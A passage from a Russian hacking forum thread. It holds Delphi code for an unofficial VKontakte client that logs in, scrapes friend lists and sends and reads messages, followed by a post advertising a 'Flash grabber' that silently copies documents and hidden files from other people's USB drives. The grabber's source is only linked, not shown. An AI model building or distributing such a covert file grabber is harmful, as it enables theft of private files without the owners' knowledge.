 Cookie : TidCookieManager;
 Data, Page : TStringList;
 I : Integer;
 S : string;
begin
 HTTP := TIDHTTP.Create(NIL);
 Cookie := TidCookieManager.Create(nil);



 Cookie.AddCookie('remixchk=5;', 'vkontakte.ru');
 Cookie.AddCookie('remixclosed_tabs=0;', 'vkontakte.ru');
 Cookie.AddCookie('remixlang=0;', 'vkontakte.ru');
 Cookie.AddCookie('remixgroup_closed_tabs=0;', 'vkontakte.ru');
 Cookie.AddCookie('remixnotajaxphotos=1;', 'vkontakte.ru');
 Cookie.AddCookie('remixnews_privacy_filter=0;', 'vkontakte.ru');
 Cookie.AddCookie('audio_vol=100;', 'vkontakte.ru'); 



 HTTP.Request.UserAgent := 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.7) Gecko/20091221 MRA 5.6 (build 03278) Firefox/3.5.7 sputnik 2.1.0.18';
 HTTP.Request.Accept := 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
 HTTP.Request.AcceptLanguage := 'ru,en-us;q=0.7,en;q=0.3';
 HTTP.Request.AcceptCharSet := 'windows-1251,utf-8;q=0.7,*;q=0.7';
 HTTP.Request.Pragma := 'no-cache';
 HTTP.Request.CacheControl := 'no-cache';
 HTTP.Request.RawHeaders.Add('X-Requested-With: XMLHttpRequest');

 HTTP.AllowCookies := True;
 HTTP.HandleRedirects := True;
 HTTP.ProtocolVersion := pv1_1;
 HTTP.CookieManager := Cookie;

 Data := TStringList.Create;
 Page := TStringList.Create;

 HTTP.Post('http://vkontakte.ru/login.php', Data);

 Data.Add('act=login');
 Data.Add('email=' + email);
 Data.Add('pass=' + pass);

 Page.Text := HTTP.Post('http://login.vk.com/', Data);

 For I := 0 To Page.Count -1 Do
 begin
  If Pos('id=' + #39 + 's' + #39, Page[i]) <> 0 Then
  begin
   S := Page[i];
   S := Copy(s, Pos('value=', s) +7, Length(s));
   Delete(s, Pos(#39, s), Length(s));
  end;
 end;

 Data.Clear;

 Data.Add('redirect=0'); // При установке значения "1", при успешном логине, вы попадаете на свою страницу
 Data.Add('op=slogin');
 Data.Add('s=' + s);

 Page.Text := HTTP.Post('http://vkontakte.ru/login.php', Data);

 If Pos('error', Page.Text) <> 0 Then Result := False
 Else Result := True;

 Page.Free;
 Data.Free;
end;

procedure VK_GetFriendList(Names, OnlineFrinds: TStrings);
var
  Data : TStringList;
  I : Integer;
  id, name, FriendsData,
  OnlineFriendsData: string;
  OnlineCount, FriendCount : string;
begin
  Data := TStringList.Create;
  Data.Text := HTTP.Get('http://vkontakte.ru/friends.php');

  For I := 0 To Data.Count -1 do
  begin
    If Pos('var friendsData', Data[i]) <> 0 Then
    begin
      FriendsData := Data[i];
      FriendsData := Copy(FriendsData, Pos('friends' + #39 + ':', FriendsData) +10, Length(FriendsData));
      Delete(FriendsData, Pos('universities', FriendsData) -3, Length(FriendsData));
    end;

  If Pos('var js_fr_cnt', Data[i]) <> 0 Then
  begin
    FriendCount := data[i];
    FriendCount := Copy(FriendCount, Pos('=', FriendCount) +2, Length(FriendCount));
    Delete(FriendCount, Pos(';', FriendCount), Length(FriendCount));
  end;
end;


  For I := 0 To StrToInt(FriendCount) -1 do
  begin
   Name := Copy(FriendsData, Pos('"', FriendsData) +1, Length(FriendsData));
   Id := Copy(FriendsData, Pos(',', id)+2, Length(FriendsData));
   Delete(id, pos(',', id), Length(id));
   If Id[1] = '[' Then Delete(id, 1, 1);
   Delete(FriendsData, 1, Pos(']', FriendsData));
   Delete(id, pos(',', id), Length(id));
   Delete(name, Pos('"', name), Length(name));
   Names.Add(name + '{id:' + id + '}');
  end;

// Загружаем online друзей
Sleep(1000);

  Data.Text := HTTP.Get('http://vkontakte.ru/friends.php?filter=online');

  For I := 0 To Data.Count -1 do
  begin
    If Pos('var friendsData', Data[i]) <> 0 Then
    begin
      OnlineFriendsData := Data[i];
      OnlineFriendsData := Copy(OnlineFriendsData, Pos('friends' + #39 + ':', OnlineFriendsData) +10, Length(OnlineFriendsData));
      Delete(OnlineFriendsData, Pos('universities', OnlineFriendsData) -3, Length(OnlineFriendsData));
    end;

   If Pos('friends_common_count', Data[i]) <> 0 Then
   begin
     OnlineCount := Data[i];
     OnlineCount := Copy(OnlineCount, Pos('friends_common_count', OnlineCount) +22, Length(OnlineCount));
     Delete(OnlineCount, Pos('<', OnlineCount), Length(OnlineCount));
   end;

  end;

  For I := 0 To StrToInt(OnlineCount) -1 do
  begin
   Name := Copy(OnlineFriendsData, Pos('"', OnlineFriendsData) +1, Length(OnlineFriendsData));
   Id := Copy(OnlineFriendsData, Pos(',', id)+2, Length(OnlineFriendsData));
   Delete(id, pos(',', id), Length(id));
   If Id[1] = '[' Then Delete(id, 1, 1);
   Delete(OnlineFriendsData, 1, Pos(']', OnlineFriendsData));
   Delete(name, Pos('"', name), Length(name));
   OnlineFrinds.Add(name + '{id:' + id + '}');
  end;

 end;

function VK_OpenWriteBox(id: string): string;
var
 Str : string;
begin
 Str := HTTP.Get('http://vkontakte.ru/mail.php?act=a_write_box&to=' + id);
 str := Copy(str, Pos('decodehash', str) +12, Length(str));
 Delete(str, Pos(#39, str), Length(str));
 Result := str;
end;

procedure VK_SendMessage(id, hash, msg: string);
var
 Post : TStringList;
begin
 Post := TStringList.Create;
 Post.Add('act=sent');
 Post.Add('ajax=1');
 Post.Add('chas=' + DecChas(hash));
 Post.Add('to_id=' + id);
 Post.Add('title=Posted by Vkonatkte Messenger v1.0 by Vadim');
 Post.Add('message=' + AnsiToUTF8(msg));
 Post.Add('from_box=1');

 HTTP.Request.Referer := 'http://vkontakte.ru/mail.php?act=a_write_box&to=' + id;
 HTTP.Post('http://vkontakte.ru/mail.php', Post);
 Post.Free;
end;

procedure VK_GetNewMessageList(Messages: TStrings);
var
 Page : TStringList;
 I : Integer;
 Name, Body, id, Image,
 messId : string;
begin
 Page := TStringList.Create;
 Page.Text := HTTP.Get('http://vkontakte.ru/mail.php');

 For I := 0 To Page.Count -1 do
 begin
   If Pos('newRow', Page[i]) <> 0 Then
   begin
     Image := Page[i+8];
     Image := Copy(image, Pos(#34, image) +1, Length(image));
     Delete(image, Pos(#34, image), Length(image));

     Id := Page[i+7];
     Id := Copy(id, Pos('d', id) +1, Length(id));
     Delete(id, pos(#34, id), Length(id));

     MessId := Page[i+20];
     MessId := Copy(MessId, Pos('mail.php?', MessId) +21, Length(MessId));
     Delete(MessId, Pos('&', MessId), Length(MessId));

     Name := Page[i+13];
     Name := Copy(name, Pos('>', name) +1, length(name));
     Delete(name, Pos('<', name), Length(name));

     Body := Page[i+20];
     Body := Copy(body, Pos('Body">', body) +6, Length(body));
     Delete(body, Pos('<', body), Length(body));
     Messages.Add('id: ' + Id + ',body:' + Body + ',name:' + name + ',messid:' + MessId);
   end;
 end;

 page.Free;
end;

function VK_ReadMessage(msg_id: string): string;
var
 Page : TStringList;
 i : Integer;
 msg : string;
begin
 Page := TStringList.Create;
 Page.Text := HTTP.Get('http://vkontakte.ru/mail.php?act=show&id=' + MSG_ID + '&out=0');

 For I := 0 To Page.Count -1 do
 begin
    If Pos('<td class="label">Сообщение:</td>', Page[i]) <> 0 Then
    begin
      msg := Page[i+3];
      msg := Copy(msg, Pos('">', msg) +2, Length(msg));
      msg := StringReplace(msg, '<br>', #13, [rfReplaceAll]);
      Delete(msg, Pos('</div>', msg), Length(msg));
    end;
 end;
 Result := msg;
 Page.Free;
end;

end.

Последний раз редактировалось RedFern.89; 11.02.2010 в 18:16..
 
Ответить с цитированием

Flash grabber by Gar|k
  #90  
Старый 10.02.2010, 00:06
Gar|k
Постоянный
Регистрация: 20.03.2009
Сообщений: 564
Провел на форуме:
991929

Репутация: 395


По умолчанию Flash grabber by Gar|k

Размер exe - 3.5 Кб
Язык - winAPI

Разрабатывалась для успешной сдачи сесси, препод зажал лекции в электронке

Фишки:
- Копирует скрытые файлы
- Не нужно прав администратора
- Небольшая нагрузка на процессор
- Копирует только файлы определенного формата, пропуская уже скопированные файлы
- Запоминает уже копированные флешки по серийному номеру и запускает повторное сканирование ЭТОЙ только через сутки.

Подробнее о релизе смотреть тут - ИСХОДНИК, EXE

Скомпиленная версия держит форматы doc,docx,ppt,pptx,rtf - все это легко правится из исходника + я предоставил проект vs2008 со всеми настройками
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
О законе. _-[A.M.D]HiM@S-_ Статьи 38 05.11.2015 23:18
Хакер и закон! SladerNon Болталка 17 12.11.2009 09:42
Обзор бесплатных Cms em00s7 PHP 16 03.07.2009 13:13



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ